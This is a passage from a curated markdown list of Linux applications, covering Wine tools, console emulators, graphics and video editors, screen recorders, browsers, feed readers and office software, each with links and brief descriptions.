- A simple Wine and Proton manager for GNOME. - [![Open-Source Software][oss icon]](https://github.com/Matoking/protontricks) [Protontricks](https://github.com/Matoking/protontricks) - This is a wrapper script that allows you to easily run Winetricks commands for Steam Play/Proton games among other common Wine features, such as launching external Windows executables. - [![Open-Source Software][oss icon]](https://github.com/AUNaseef/protonup) [ProtonUp](https://github.com/AUNaseef/protonup) - CLI program and API to automate the installation and update of GE-Proton. - [![Open-Source Software][oss icon]](https://github.com/DavidoTek/ProtonUp-Qt) [ProtonUp-Qt](https://davidotek.github.io/protonup-qt/) - Install and manage GE-Proton and Luxtorpeda for Steam and Wine-GE for Lutris with this graphical user interface. - [![Open-Source Software][oss icon]](https://dl.winehq.org/wine/source/) [Wine](https://www.winehq.org/) - Wine ("Wine Is Not an Emulator") is a compatibility layer capable of running Windows applications on Linux, quality depends from game to game. - [![Open-Source Software][oss icon]](https://github.com/GloriousEggroll/wine-ge-custom) [Wine-GE-Custom](https://github.com/GloriousEggroll/wine-ge-custom) - Custom build of wine, made to use with lutris. Built with lutris's buildbot. - [![Open-Source Software][oss icon]](https://github.com/Frogging-Family/wine-tkg-git) [Wine-tkg](https://github.com/Frogging-Family/wine-tkg-git) - The wine-tkg build systems, to create custom Wine and Proton builds. - [![Open-Source Software][oss icon]](https://github.com/Winetricks/winetricks) [Winetricks](https://github.com/Winetricks/winetricks) - Winetricks is an easy way to work around problems in Wine. - [![Open-Source Software][oss icon]](https://github.com/varmd/wine-wayland) [Wine-Wayland](https://github.com/varmd/wine-wayland) - Wine-wayland allows playing DX9/DX11 and Vulkan games using pure wayland and Wine/DXVK. #### Machine Emulators ##### All-in-One - [![Open-Source Software][oss icon]](https://github.com/ares-emulator/ares) [ares](https://ares-emu.net/) - A multi-system console emulation suite. - [![Open-Source Software][oss icon]](https://github.com/dragoonDorise/EmuDeck) [EmuDeck](https://www.emudeck.com/) - Emulator configurator for Steam Deck. - [![Open-Source Software][oss icon]](https://gitlab.gnome.org/Archive/gnome-video-arcade) [GNOME Video Arcade](https://wiki.gnome.org/action/show/Apps/GnomeVideoArcade) - GNOME Video Arcade is a simple Mame frontend for any freedesktop.org compliant desktop environment. - [![Open-Source Software][oss icon]](https://github.com/byuu/higan) [Higan](https://github.com/higan-emu/higan) - Higan is a multi-system emulator that supports emulating a huge number of different systems including: NES, SNES, GameBoy, GameBoy Color, Gameboy Advance, NEC PC Engine, Sega Master System, and more. Here is a guide to install it on Linux [Higan Installation](https://higan.readthedocs.io/en/stable/install/linux/). - [![Open-Source Software][oss icon]](https://github.com/mamedev/mame) [MAME](https://mamedev.org/) - MAME is an Arcade Cabinet emulator that strives for accuracy, and can play a huge number of different arcade games. - [![Open-Source Software][oss icon]](https://github.com/qmc2/qmc2-mame-fe) [qmc2](https://github.com/qmc2/qmc2-mame-fe) - QMC2 is the successor to QMamecat, it is a gui for MAME and a ROM manager. - [![Open-Source Software][oss icon]](https://github.com/libretro/RetroArch) [RetroArch](https://www.retroarch.com/) - A front-end for a lot of game emulators. - [![Open-Source Software][oss icon]](https://github.com/XargonWan/RetroDECK) [RetroDECK](https://retrodeck.net/) - Everything you need for emulation on Steam Deck. ##### Atari - [![Open-Source Software][oss icon]](https://github.com/stella-emu/stella) [Stella](https://stella-emu.github.io/) - Is an Atari 2600 Emulator that is multiplatform. ##### Microsoft - [![Open-Source Software][oss icon]](https://github.com/mborgerson/xemu) [xemu](https://xemu.app/) - Original Xbox Emulator for Windows, macOS, and Linux (Active Development). ##### Nintendo - [![Open-Source Software][oss icon]](https://github.com/citra-emu/citra) [Citra](https://citra-emu.org/) - Citra is an open-source emulator for the Nintendo 3DS capable of playing many of your favorite games. - [![Open-Source Software][oss icon]](https://github.com/TASEmulators/desmume) [DeSmuME](https://desmume.org/) - DeSmuME is a Nintendo DS emulator. - [![Open-Source Software][oss icon]](https://github.com/dolphin-emu/dolphin) [Dolphin Emulator](https://dolphin-emu.org/) - Dolphin is a GameCube / Wii emulator, allowing you to play games for these two platforms on PC with improvements. - [![Open-Source Software][oss icon]](https://github.com/Arisotura/melonDS) [melonDS](https://melonds.kuribo64.net/) - melonDS aims at providing fast and accurate Nintendo DS emulation. - [![Open-Source Software][oss icon]](https://github.com/mgba-emu) [mGBA](https://mgba.io/) - mGBA is an open-source Game Boy Advance emulator. - [![Open-Source Software][oss icon]](https://github.com/0ldsk00l/nestopia) [nestopia](http://0ldsk00l.ca/nestopia/) - nestopia is a Nintendo Entertainment System/Famicon emulator. - [![Open-Source Software][oss icon]](https://github.com/Ryujinx/Ryujinx) [Ryujinx](https://ryujinx.org/) - Ryujinx is an open-source Nintendo Switch emulator created by gdkchan and written in C#. - [![Open-Source Software][oss icon]](https://github.com/snes9xgit/snes9x) [Snes9x](http://www.snes9x.com/) - Is a multiplatform Super Nintendo Entertainment System emulator that has gone through many incarnations, but is still being actively developed. - [![Open-Source Software][oss icon]](https://github.com/visualboyadvance-m/visualboyadvance-m) [Visual Boy Advance-M](https://vba-m.com/) - A Gameboy and Gameboy Advance Emulator that is still undergoing active development and can even emulate a system link between two gameboys. - [![Open-Source Software][oss icon]](https://github.com/yuzu-emu/yuzu) [yuzu](https://yuzu-emu.org/) - yuzu is an experimental open-source emulator for the Nintendo Switch from the creators of Citra. - [![Open-Source Software][oss icon]](https://sourceforge.net/projects/zsnes/) [ZSNES](https://www.zsnes.com/) - A capable and commonly used Super Nintendo Entertainment System/Super Famicom emulator, many consider it the gold standard in SNES/Super Famicom emulation. ##### Sony - [![Open-Source Software][oss icon]](https://github.com/PCSX2) [PCSX2](https://pcsx2.net/) - PCSX2 is a free and open-source PlayStation 2 (PS2) emulator. - [![Open-Source Software][oss icon]](https://github.com/jpd002/Play-) [Play!](https://purei.org/) - Play! is a PlayStation2 emulator for Windows, macOS, UNIX, Android, iOS and web browser platforms. - [![Open-Source Software][oss icon]](https://github.com/hrydgard/ppsspp) [PPSSPP](https://www.ppsspp.org/) - PPSSPP is a PSP emulator that can run games full HD resolution. It can even upscale textures that would otherwise be too blurry as they were made for the small screen of the original PSP. - [![Open-Source Software][oss icon]](https://github.com/rpcs3) [RPCS3](https://rpcs3.net/) - RPCS3 is a multi-platform open-source Sony PlayStation 3 emulator and debugger written in C++ for Windows, Linux, macOS and FreeBSD. - [![Open-Source Software][oss icon]](https://github.com/Vita3K/Vita3K) [Vita3K](https://vita3k.org/) - Vita3K is an experimental PlayStation Vita emulator for Windows and Linux. ##### ZX Spectrum - [![Open-Source Software][oss icon]](https://sourceforge.net/p/fuse-emulator/) [Fuse](http://fuse-emulator.sourceforge.net/) - Fuse (the Free Unix Spectrum Emulator) is a ZX Spectrum emulator for Unix. ### Graphics #### Graphic Creation - ![Nonfree][money icon][![Open-Source Software][oss icon]](https://github.com/aseprite/aseprite/) [Aseprite](https://www.aseprite.org/) - Animated sprite editor & pixel art tool. - [![Open-Source Software][oss icon]](https://download.blender.org/source/) [Blender](https://www.blender.org/) - A free and open source complete 3D creation pipeline for artists and small teams. - [![Open-Source Software][oss icon]](https://sourceforge.net/projects/cinepaint/) [Cinepaint](http://cinepaint.org/) - Open source deep paint software. - [![Open-Source Software][oss icon]](https://github.com/maoschanz/drawing) [Drawing](https://maoschanz.github.io/drawing/) - This free basic raster image editor is similar to Microsoft Paint, but aiming at the GNOME desktop. - [![Open-Source Software][oss icon]](https://github.com/lettier/gifcurry) [Gifcurry](https://lettier.github.io/gifcurry/) - Your open source video to GIF maker built with Haskell. - [Gravit](https://www.designer.io/) - Gravit Designer is a full featured free vector design app right at your fingertip. - [Heron Animation](https://heronanimation.brunolefevre.net/) - A free stop animation making program. - [![Open-Source Software][oss icon]](https://github.com/inkscape/inkscape) [Inkscape](https://inkscape.org/en/) - A powerful, free design tool for you , whether you are an illustrator, designer, web designer or just someone who needs to create some vector imagery. - [![Open-Source Software][oss icon]](http://ipe.otfried.org) [Ipe](http://ipe.otfried.org) - Ipe is a LaTeX powered drawing editor for creating figures and presentations in PDF format. - [![Open-Source Software][oss icon]](https://invent.kde.org/office/calligra) [Karbon](https://www.calligra.org/karbon/) - An open source vector drawing program. - [![Open-Source Software][oss icon]](https://gitlab.com/mattia.basaglia/Knotter) [Knotter](https://knotter.mattbas.org/Knotter) - A Program designed solely to help design and create Celtic Knots. - [![Open-Source Software][oss icon]](https://invent.kde.org/graphics/krita) [Krita](https://krita.org/en/) - Open Source Software for Concept Artists, Digital Painters, and Illustrators. - ![Nonfree][freeware icon][Lunacy](https://icons8.com/lunacy/) - Free design software that keeps your flow with AI tools and built-in graphics - [![Open-Source Software][oss icon]](https://github.com/mypaint/mypaint) [Mypaint](https://github.com/mypaint/mypaint)) - Mypaint is a paint program for use with graphics tablets. - [![Open-Source Software][oss icon]](https://gitlab.com/jonata/opendvdproducer) [Open DVD Producer](https://opendvdproducer.jonata.org/) - A modern, open source cross platform software to produce DVD images. - [![Open-Source Software][oss icon]](https://www.pinta-project.com/howto/contribute) [Pinta](https://www.pinta-project.com) - Pinta is a free, open source program for drawing and image editing. - [![Open-Source Software][oss icon]](https://github.com/Orama-Interactive/Pixelorama) [Pixelorama](https://orama-interactive.itch.io/pixelorama) - A free & open-source 2D sprite editor, made with the Godot Engine! - [![Open-Source Software][oss icon]](https://launchpad.net/lsm) [StopMotion](http://linuxstopmotion.org/) - Linux Stopmotion is a Free Open Source application to create stop-motion animations. It helps you capture and edit the frames of your animation and export them as a single file. - [![Open-Source Software][oss icon]](https://sourceforge.net/projects/sweethome3d/) [Sweet Home 3D](http://www.sweethome3d.com/) - House interior and exterior designer with 3D preview, free model database, virtual visits and useful repository of plugins. - [![Open-Source Software][oss icon]](https://github.com/synfig/synfig) [Synfig Studio](https://www.synfig.org/) - Open-source 2D animation software. - [![Open-Source Software][oss icon]](https://github.com/scantailor/scantailor) [Scan Tailor](https://scantailor.org/) - Scan Tailor is an interactive post-processing tool for scanned pages. For a tutorial on how to use it, consult its [User Guide](https://github.com/scantailor/scantailor/wiki/User-Guide). - [Vectr](https://vectr.com/) - Vectr is a free graphics software used to create vector graphics easily and intuitively. It's a simple yet powerful web and desktop cross-platform tool to bring your designs into reality. - [![Open-Source Software][oss icon]](http://www.xaraxtreme.org/Developers/develeopers-source-code-a-building.html) [Xara Extreme](http://www.xaraxtreme.org/) - Xara Xtreme for Linux is a powerful, general purpose graphics program for Unix platforms including Linux, FreeBSD. - [yEd Graph Editor](https://www.yworks.com/products/yed) - yEd is a powerful desktop application that can be used to quickly and effectively generate high-quality diagrams. Create diagrams manually, or import your external data for analysis. Our automatic layout algorithms arrange even large data sets with just the press of a button. #### Image Editor - ![Nonfree][money icon] [Aftershot](https://www.aftershotpro.com/en/products/aftershot/pro/) - A powerful alternative to Adobe Photoshop. - [![Open-Source Software][oss icon]](https://github.com/darktable-org/darktable) [Darktable](https://www.darktable.org/) - Darktable is an open source photography workflow application and RAW developer. - [![Open-Source Software][oss icon]](https://gitlab.gnome.org/GNOME/gimp) [GIMP](https://www.gimp.org/downloads/) - GIMP is a freely distributed program for such tasks as photo retouching, image composition and image authoring. - [![Open-Source Software][oss icon]](https://sourceforge.net/projects/graphicsmagick/) [GraphicsMagick](http://www.graphicsmagick.org/) - GraphicsMagick is the swiss army knife of image processing. - [![Open-Source Software][oss icon]](http://hugin.sourceforge.net/) [Hugin](http://hugin.sourceforge.net/) - An easy to use cross-platform panoramic imaging toolchain based on Panorama Tools. - [![Open-Source Software][oss icon]](https://github.com/ImageMagick/ImageMagick) [ImageMagik](https://www.imagemagick.org/script/index.php) - ImageMagick is a suite of command-line utilities for modifying and working with images. - [![Open-Source Software][oss icon]](https://github.com/jarun/imgp) [imgp](https://github.com/jarun/imgp) - Blazing fast terminal image resizer and rotator. - [![Open-Source Software][oss icon]](https://github.com/LuminanceHDR/LuminanceHDR) [Luminance HDR](http://qtpfsgui.sourceforge.net/) - Luminance HDR is an open source graphical user interface application that aims to provide a workflow for HDR imaging. - [![Open-Source Software][oss icon]](https://github.com/google-code-export/photivo) [Photivo](http://photivo.org/) - Photivo is a free and open source (GPL3) photo processor, handles your RAW and bitmap files (TIFF, JPEG, BMP, PNG and many more) in a non-destructive 16 bit processing pipe with gimp workflow integration and batch mode. It is intended to be used in a workflow together with digiKam/F-Spot/Shotwell and Gimp. - [![Open-Source Software][oss icon]](https://github.com/piskelapp/piskel) [Piskel](https://www.piskelapp.com/) - Browser-based editor for animated sprites and pixel art. Available as offline application. - [![Open-Source Software][oss icon]](https://github.com/lbalazscs/Pixelitor) [Pixelitor](http://pixelitor.sourceforge.net/) - Pixelitor is a free and open source image editing software that supports layers, layer masks, text layers, filters, multiple undo etc. - [![Open-Source Software][oss icon]](https://github.com/Beep6581/RawTherapee) [RawTherapee](https://rawtherapee.com/) - A good looking but lesser known photo editing app. #### Image Management - [![Open-Source Software][oss icon]](https://invent.kde.org/graphics/digikam) [Digikam](https://www.digikam.org/) - DigiKam is an advanced digital photo management application for Linux. - [![Open-Source Software][oss icon]](https://github.com/szTheory/exifcleaner) [ExifCleaner](https://exifcleaner.com) - Remove image metadata with drag and drop. Supports multi-core batch processing. - [![Open-Source Software][oss icon]](http://git.finalrewind.org/feh) [Feh](https://feh.finalrewind.org/) - Lightweight and fast image viewer. - [![Open-Source Software][oss icon]](http://www.kornelix.net/downloads/downloads.html) [Fotoxx](https://www.kornelix.net/fotoxx/fotoxx.html) - Fotoxx is a free open source Linux program for image editing and collection management. - [![Open-Source Software][oss icon]](https://github.com/BestImageViewer/geeqie) [geeqie](http://www.geeqie.org/) - Image viewer / photo collection browser. Successor of GQview. - [![Open-Source Software][oss icon]](https://gitlab.gnome.org/GNOME/gthumb/) [gThumb](https://wiki.gnome.org/Apps/Gthumb) - gThumb is an image viewer and browser (it also includes an importer tool for transferring photos from cameras). - [![Open-Source Software][oss icon]](https://invent.kde.org/graphics/gwenview) [gwenview](https://apps.kde.org/gwenview/) - Simple yet powerful image viewer and management for KDE desktops. - [![Open-Source Software][oss icon]](https://github.com/meowtec/Imagine) [Imagine](https://github.com/meowtec/Imagine) - An open source image optimizer that can shrink the size of images with a minimal loss of quality. - [![Open-Source Software][oss icon]](https://github.com/nomacs/nomacs/tree/master) [nomacs](https://nomacs.org/) - nomacs is an image viewer that is able to view nearly any image format, and has powerful renaming and sorting tools. - [![Open-Source Software][oss icon]](https://github.com/peterlevi/ojo) [Ojo](https://github.com/peterlevi/ojo) - A fast and pretty image viewer. - [![Open-Source Software][oss icon]](https://github.com/ivandokov/phockup) [Phockup](https://github.com/ivandokov/phockup) - Command line sorting tool to organize photos and videos from your camera in folders by year, month and day. - [![Open-Source Software][oss icon]](https://github.com/oferkv/phototonic) [Photonic](https://github.com/oferkv/phototonic) - Phototonic is image viewer and organizer. - [![Open-Source Software][oss icon]](https://github.com/kanryu/quickviewer) [quickviewer](https://kanryu.github.io/quickviewer/) - Very fast image/comic viewer by using OpenGL. - [![Open-Source Software][oss icon]](https://github.com/yurijmikhalevich/rclip) [rclip](https://github.com/yurijmikhalevich/rclip) - AI-Powered Command-Line Photo Search Tool. - [![Open-Source Software][oss icon]](https://gitlab.gnome.org/GNOME/shotwell) [Shotwell](https://wiki.gnome.org/Apps/Shotwell) - Shotwell is a photo manager for GNOME. #### Miscellaneous - [![Open-Source Software][oss icon]](https://github.com/HandBrake/HandBrake) [Handbrake](https://handbrake.fr/) - HandBrake is a tool for converting video from nearly any format to a selection of modern, widely supported codecs. - [![Open-Source Software][oss icon]](https://github.com/Diolinux/PhotoGIMP) [PhotoGIMP](https://github.com/Diolinux/PhotoGIMP) - A patch for optimizing GIMP 2.10+ for Adobe Photoshop users. - [![Open-Source Software][oss icon]](https://github.com/Gictorbit/photoshopCClinux) [Photoshop CCv19](https://github.com/Gictorbit/photoshopCClinux) - Photoshop CC v19 installer for Gnu/Linux. - [![Open-Source Software][oss icon]](https://github.com/MiMillieuh/Photoshop-CC2022-Linux) [Photoshop-CC2022-Linux](https://github.com/MiMillieuh/Photoshop-CC2022-Linux) - Installer for Photoshop CC 2022 on linux with a GUI. - [![Open-Source Software][oss icon]](http://potrace.sourceforge.net/#downloading) [Potrace](http://potrace.sourceforge.net/) - Potrace is a tool for tracing a bitmap, which means, transforming a bitmap into a smooth, scalable image. - [![Open-Source Software][oss icon]](https://www.radiance-online.org/download-install/radiance-source-code) [Radiance](https://www.radiance-online.org/) - Radiance - A Validated Lighting Simulation Tool. - [![Open-Source Software][oss icon]](https://launchpad.net/rapid/) [Rapid Photo Downloader](https://damonlynch.net/rapid/download.html) - Rapid Photo Downloader makes it easy to import photos from a camera or smartphone. #### PSD, Sketch Inspection - ![Nonfree][money icon] [Avocode](https://avocode.com/) - Avocode - Share and inspect Photoshop and Sketch designs in a heart beat. #### Screen Recorder - [![Open-Source Software][oss icon]](https://github.com/asciinema/asciinema) [asciinema](https://asciinema.org) - Terminal session recorder. - [![Open-Source Software][oss icon]](https://github.com/dvershinin/green-recorder) [Green Recorder](https://github.com/dvershinin/green-recorder) - A simple desktop recorder for Linux systems, supports recording audio and video on almost all Linux interfaces and Wayland display server on GNOME session. - [![Open-Source Software][oss icon]](https://code.launchpad.net/kazam) [Kazam](https://launchpad.net/kazam) - An easy to use and very intuitive screen recording program that will capture the content of your screen and record a video file that can be played by any video player that supports VP8/WebM video format. - [![Open-Source Software][oss icon]](https://github.com/SeaDve/Kooha) [Kooha](https://flathub.org/apps/io.github.seadve.Kooha) - A simple screen recorder written with GTK. It allows you to record your screen and also audio from your microphone or desktop. - [![Open-Source Software][oss icon]](https://github.com/orhun/menyoki) [menyoki](https://menyoki.cli.rs/) - Screen{shot,cast} and perform ImageOps on the command line. - [![Open-Source Software][oss icon]](https://github.com/obsproject/obs-studio) [OBS Studio](https://obsproject.com/) - Free and open source software for video recording and live streaming. Download and start streaming quickly and easily on Windows, Mac or Linux. Share your gaming, art and entertainment with the world. - [![Open-Source Software][oss icon]](https://github.com/phw/peek) [Peek](https://github.com/phw/peek) - Simple animated GIF screen recorder with an easy to use interface. - [![Open-Source Software][oss icon]](https://github.com/colinkeenan/silentcast) [Silentcast](https://github.com/colinkeenan/silentcast) - Silentcast can create MKV screencasts and also output to an animated GIF. - [![Open-Source Software][oss icon]](https://github.com/MaartenBaert/ssr) [SimpleScreenRecorder](https://www.maartenbaert.be/simplescreenrecorder/) - SimpleScreenRecorder is a feature-rich screen recorder that supports X11 and OpenGL. It has a Qt-based graphical user interface. - [![Open-Source Software][oss icon]](https://github.com/vkohaupt/vokoscreen) [Vokoscreen](http://linuxecke.volkoh.de/vokoscreen/vokoscreen.html) - A free, multilingual and easy to use screencast recorder with audio for Linux. It has many features. #### Screenshot - [![Open-Source Software][oss icon]](https://github.com/lupoDharkael/flameshot) [Flameshot](https://flameshot.org/) - Powerful yet simple to use screenshot software. - [![Open-Source Software][oss icon]](https://github.com/ksnip/ksnip) [Ksnip](https://github.com/ksnip/ksnip#ksnip) - Ksnip is a Qt-based cross-platform screenshot tool that provides many annotation features for your screenshots. - [![Open-Source Software][oss icon]](https://github.com/olav-st/screencloud) [ScreenCloud](https://screencloud.net/) - ScreenCloud is an easy to use screenshot sharing tool consisting of a cross-platform client and a sharing website. - [![Open-Source Software][oss icon]](https://github.com/shutter-project/shutter) [Shutter](https://shutter-project.org/) - Shutter is a feature-rich screenshot program for Linux based operating systems such as Ubuntu. - [![Open-Source Software][oss icon]](https://invent.kde.org/graphics/spectacle) [Spectacle](https://apps.kde.org/spectacle/) - Spectacle is a simple application for capturing desktop screenshots. #### Streaming - [![Open-Source Software][oss icon]](https://gitlab.gnome.org/World/boatswain) [Boatswain](https://gitlab.gnome.org/World/boatswain) - Control your Elgato Stream Deck devices. - [![Open-Source Software][oss icon]](https://sourceforge.net/projects/minidlna) [ReadyMedia](http://minidlna.sourceforge.net/) - Formerly known as **MiniDLNA**, ReadyMedia is a is a simple, lightweight media server software, with the aim of being fully compliant with DLNA/UPnP-AV clients. The MiniDNLA daemon serves media files (music, pictures, and video) to clients on a network such as smartphones, portable media players, televisions, other computers and some gaming systems. - [![Open-Source Software][oss icon]](https://github.com/virtual-puppet-project/vpuppr) [VPupPr](https://github.com/virtual-puppet-project/vpuppr) - VTuber application made with Godot 3.4. #### Video Editor - [![Open-Source Software][oss icon]](https://github.com/cinelerra-cv-team/cinelerra-cv) [Cinelerra-cv](http://cinelerra-cv.wikidot.com/) - Professional video editing and compositing environment. - ![Nonfree][money icon] [Davinci Resolve](https://www.blackmagicdesign.com/products/davinciresolve/) - Revolutionary tools for editing, color correction, audio post and now visual effects, all in a single application. - [![Open-Source Software][oss icon]](https://github.com/jliljebl/flowblade) [Flowblade](https://github.com/jliljebl/flowblade) - A multitrack non-linear video editor for Linux. - [![Open-Source Software][oss icon]](https://invent.kde.org/multimedia/kdenlive) [Kdenlive](https://kdenlive.org/) - Kdenlive is a Non-Linear Video Editor, which is much more powerful than beginners’ (linear) editors. - ![Nonfree][money icon] [Lightworks](https://www.lwks.com/) - Professional non-linear video editing program with a free version available. - [![Open-Source Software][oss icon]](https://github.com/olive-editor/olive) [Olive](https://www.olivevideoeditor.org/) - Olive is a free non-linear video editor aiming to provide a fully-featured alternative to high-end professional video editing software. - [![Open-Source Software][oss icon]](https://github.com/OpenShot/openshot-qt) [OpenShot](https://www.openshot.org/) - OpenShot is a free, simple-to-use, feature-rich video editor for Linux. - [![Open-Source Software][oss icon]](https://gitlab.gnome.org/GNOME/pitivi) [Pitivi](http://www.pitivi.org/) - A free video editor with a beautiful and intuitive user interface, a clean codebase and a fantastic community. - [![Open-Source Software][oss icon]](https://github.com/mltframework/shotcut) [Shotcut](https://www.shotcut.org/) - Shotcut is a free, open source, cross-platform video editor with support for hundreds of audio and video formats and codecs and a sleek, intuitive interface. - [![Open-Source Software][oss icon]](https://github.com/ozmartian/vidcutter) [Vidcutter](https://github.com/ozmartian/vidcutter) - Cross-platform Qt5 based app for quick and easy video trimming/splitting and merging/joining for simple quick edits. ### Internet #### Browser - [![Open-Source Software][oss icon]](https://github.com/brave/brave-browser) [Brave](https://brave.com/) - Brave is a fast, good desktop browser for macOS, Windows, and Linux. - [Chrome](https://www.google.com/chrome/browser/desktop/index.html) - A popular Web Browser with a lot of plugins/apps. - [![Open-Source Software][oss icon]](https://chromium.googlesource.com/chromium/src.git) [Chromium](https://www.chromium.org/) - Chromium is an open-source browser project that aims to build a safer, faster, and more stable way for all users to experience the web. - [![Open-Source Software][oss icon]](https://invent.kde.org/network/falkon) [Falkon](https://www.falkon.org/) - Falkon aims to be a lightweight web browser available through all major platforms. - [![Open-Source Software][oss icon]](https://hg.mozilla.org/mozilla-central/) [Firefox](https://www.mozilla.org/en-US/firefox/new/) - A popular Web Browser with a lot of plugins/apps. - [![Open-Source Software][oss icon]](https://gitlab.gnome.org/GNOME/epiphany) [GNOME Web](https://wiki.gnome.org/Apps/Web) - GNOME Web (codename: Epiphany) is a GNOME web browser based on the WebKit rendering engine. - [![Open-Source Software][oss icon]](https://git.savannah.gnu.org/cgit/gnuzilla.git) [IceCat](https://www.gnu.org/software/gnuzilla/) - GNU version of Firefox built for privacy, using only free software and free of trademarks. - [![Open-Source Software][oss icon]](https://gitlab.com/librewolf-community) [LibreWolf](https://librewolf.net/) - Fork of Firefox, with the primary goals of privacy, security and user freedom. - [Microsoft Edge](https://www.microsoft.com/en-us/edge) - Microsoft Edge is a cross-platform web browser created and developed by Microsoft. - [![Open-Source Software][oss icon]](https://gitlab.com/midori-web/midori-desktop) [Midori](https://astian.org/midori-browser-desktop/) - A lightweight free browser that runs well on low spec systems. - [![Open-Source Software][oss icon]](https://github.com/minbrowser/min) [Min](https://minbrowser.github.io/min) - A smarter, faster web browser. - [Opera](https://www.opera.com/) - Opera browser is everything you need to do more on the web. - [![Open-Source Software][oss icon]](https://github.com/qutebrowser/qutebrowser) [QuteBrowser](https://www.qutebrowser.org/) - A keyboard-driven, vim-like browser based on PyQt5. - [![Open-Source Software][oss icon]](https://github.com/Eloston/ungoogled-chromium) [ungoogled-chromium](https://github.com/Eloston/ungoogled-chromium) - ungoogled-chromium is Google Chromium, sans dependency on Google web services. - [Vivaldi](https://vivaldi.com) - A new and rising browser with a lot of customizations. - [![Open-Source Software][oss icon]](https://github.com/WaterfoxCo/Waterfox) [Waterfox](https://www.waterfox.net/) - Fork of Firefox. Waterfox gives you a sane way to browse the web. Built with you, the user, in mind. - [Wavebox](https://wavebox.io) - A feature-rich Chromium browser that's built for productive working across Google Workspaces, Microsoft Teams, ClickUp, Monday, Atlassian, Asana, AirTable, Slack, and every other web app you use to get work done. - [Yandex](https://browser.yandex.com) - Fast and convenient browser. #### Supportive Tool - [Clipgrab](https://clipgrab.org/) - A friendly downloader for YouTube and other sites. - [![Open-Source Software][oss icon]](https://gitweb.torproject.org/tor.git) [Tor](https://www.torproject.org/) - Tor is free software and an open network that helps you defend against traffic analysis, a form of network surveillance that threatens personal freedom and privacy. - [![Open-Source Software][oss icon]](https://github.com/Unrud/video-downloader) [Video Downloader](https://github.com/Unrud/video-downloader) - Download videos from websites like YouTube and many others (based on yt-dlp). - [![Open-Source Software][oss icon]](https://github.com/jely2002/youtube-dl-gui) [youtube-dl-gui](https://jely2002.github.io/youtube-dl-gui/) - A cross-platform GUI for youtube-dl made in Electron and node.js - [![Open-Source Software][oss icon]](https://github.com/aandrew-me/ytdownloader/) [ytDownloader](https://ytdn.netlify.app/) - A cross-platform GUI for yt-dlp with advanced options and a modern UI. - [![Open-Source Software][oss icon]](https://github.com/zerotier/ZeroTierOne) [Zerotier](https://my.zerotier.com) - Zerotier is a program that creates a Virtual Network for only your devices with end to end encryption over the internet. By default Zerotier will manage your virtual network but you can switch to a self-managed network if you prefer. #### Web Service Client - [![Open-Source Software][oss icon]](https://invent.kde.org/pim/akregator) [Akregator](https://apps.kde.org/akregator/) - A KDE Feed Reader. - [![Open-Source Software][oss icon]](https://invent.kde.org/network/choqok) [Choqok](https://apps.kde.org/choqok/) - Choqok is a Qt5 client for Twitter, GNU Social, Friendica and Pump.IO. - [![Open-Source Software][oss icon]](https://github.com/jeena/FeedTheMonkey) [FeedTheMonkey](https://github.com/jeena/FeedTheMonkey) - FeedTheMonkey is a desktop client for TinyTinyRSS. - [![Open-Source Software][oss icon]](https://github.com/yang991178/fluent-reader) [Fluent Reader](https://hyliu.me/fluent-reader/) - Modern desktop RSS reader built with Electron, React, and Fluent UI. - [![Open-Source Software][oss icon]](https://github.com/FreeTubeApp/FreeTube) [FreeTube](https://freetubeapp.io/) - FreeTube is a YouTube client for Windows, Mac, and Linux built around using YouTube more privately. - [![Open-Source Software][oss icon]](https://github.com/EragonJ/Kaku) [Kaku](https://kaku.rocks/) - An open source youtube music player for Ubuntu. - [![Open-Source Software][oss icon]](https://gitlab.com/news-flash/news_flash_gtk) [NewsFlash](https://apps.gnome.org/app/com.gitlab.newsflash/) - NewsFlash is a program designed to complement an already existing web-based RSS reader account. - [![Open-Source Software][oss icon]](https://invent.kde.org/multimedia/plasmatube) [PlasmaTube](https://apps.kde.org/plasmatube/) - Kirigami-based YouTube client for Linux Desktop and Mobile with built-in ad-blocking and privacy features. - [![Open-Source Software][oss icon]](https://github.com/popcorn-official/popcorn-desktop) [Popcorn Time](https://github.com/popcorn-official/popcorn-desktop) - Watch torrent movies instantly. - [![Open-Source Software][oss icon]](https://github.com/martinrotter/rssguard) [RSS Guard](https://github.com/martinrotter/rssguard) - Feed reader which supports RSS/ATOM/JSON and many web-based feed services. - [![Open-Source Software][oss icon]](https://streamlink.github.io/streamlink-twitch-gui/) [Streamlink Twitch GUI](https://streamlink.github.io/streamlink-twitch-gui/) - A multi platform Twitch.tv browser for [Streamlink](https://streamlink.github.io/). - [![Open-Source Software][oss icon]](https://github.com/pystardust/ytfzf) [ytfzf](https://github.com/pystardust/ytfzf) - Terminal Youtube/Odysee client with thumbnails. ### Office #### Accounting - [![Open-Source Software][oss icon]](https://github.com/Gnucash/) [GnuCash](https://www.gnucash.org/) - GnuCash is a free software accounting program that implements a double-entry bookkeeping system. It was initially aimed at developing capabilities similar to Intuit, Inc.'s Quicken application, but also has features for small business accounting. - [![Open-Source Software][oss icon]](https://github.com/simonmichael/hledger) [hledger](https://hledger.org/) - Easy-to-use command-line/curses/web plaintext accounting tool. - [![Open-Source Software][oss icon]](https://code.launchpad.net/homebank) [HomeBank](http://homebank.free.fr/en/index.php) - HomeBank is a free software that will assist you to manage your personal accounting. - [![Open-Source Software][oss icon]](https://invent.kde.org/office/kmymoney) [KMyMoney](https://kmymoney.org/) - KMyMoney is the personal finance manager by KDE. Its operation is similar to Microsoft Money and Quicken. - [![Open-Source Software][oss icon]](https://invent.kde.org/office/skrooge) [Skrooge](https://skrooge.org/) - A personal finances manager, powered by KDE. #### Office Suites - [![Open-Source Software][oss icon]](https://invent.kde.org/office/calligra) [Caligra Office](https://www.calligra.org/) - Offers a comprehensive set of 8 applications which satisfies the office, graphics and management needs. - [![Open-Source Software][oss icon]](https://www.libreoffice.org/about-us/source-code/) [LibreOffice](https://www.libreoffice.org/) - Arguably the most popular office suite for Linux, it is very heavily developed and widely known. - [![Open-Source Software][oss icon]](https://github.com/ONLYOFFICE) [OnlyOffice](https://www.onlyoffice.com/) - An office suite that charges for a cloud version of itself, but is free for other uses. - [WPS office](https://www.wps.com/office/linux/) - A popular office suite in China, but is fully translated and functions well in English. #### LaTeX - [![Open-Source Software][oss icon]](https://gitlab.gnome.org/swilmet/gnome-latex) [GNOME LaTeX](https://gitlab.gnome.org/swilmet/gnome-latex) - GNOME LaTeX is a LaTeX editor for the GNOME desktop. - [![Open-Source Software][oss icon]](https://github.com/alexandervdm/gummi) [Gummi](https://github.com/alexandervdm/gummi) - Simple latex editor with templates, spell check, and wizards. - [![Open-Source Software][oss 